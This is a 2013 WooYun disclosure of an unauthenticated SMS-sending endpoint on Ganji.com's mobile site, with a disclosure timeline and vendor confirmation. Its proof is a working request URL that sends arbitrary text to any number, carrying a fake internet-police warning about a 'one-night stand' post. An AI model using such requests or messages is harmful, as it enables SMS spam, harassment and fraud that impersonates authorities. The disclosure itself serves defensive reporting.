WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-033541

漏洞标题：赶集网手机短信发送接口限制不严导致可发任意内容给任意号码

相关厂商：赶集网

漏洞作者： 专注XSS三十年

提交时间：2013-08-05 17:57

修复时间：2013-09-19 17:57

公开时间：2013-09-19 17:57

漏洞类型：未授权访问/权限绕过

危害等级：低

自评Rank：1

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2013-08-05： 细节已通知厂商并且等待厂商处理中
2013-08-05： 厂商已经确认，细节仅向厂商公开
2013-08-15： 细节向核心白帽子及相关领域专家公开
2013-08-25： 细节向普通白帽子公开
2013-09-04： 细节向实习白帽子公开
2013-09-19： 细节向公众公开

简要描述：

其实就是 http://www.wooyun.org/bugs/wooyun-2013-028572 的同类挖掘。
漏洞等级还是比较高的，不过因为不是原创，RANK无所谓了。忽略都好。只是很多网站都存在这个问题，希望引起重视

详细说明：

漏洞证明：

http://mobile.ganji.com/?ajax=true&ajax_act=send_phone&url=1129%20%E6%A0%87%E9%A2%98%20%E6%B1%82%E5%90%8C%E5%9F%8E%E4%B8%80%E5%A4%9C%E6%83%85%20%E8%AF%A5%E4%BF%A1%E6%81%AF%E5%B7%B2%E8%A2%AB%E7%BD%91%E7%9B%91%E9%83%A8%E9%97%A8%E7%9B%91%E6%8E%A7%EF%BC%8C%E8%AF%B7%E6%82%A8%E4%BA%8E7%E6%97%A5%E5%89%8D%E5%88%B0%E6%9C%80%E8%BF%91%E7%9A%84%E6%B4%BE%E5%87%BA%E6%89%80%E8%87%AA%E8%A1%8C%E8%AF%B4%E6%98%8E%E3%80%82&phone=手机号

修复方案：

版权声明：转载请注明来源 专注XSS三十年@乌云

漏洞回应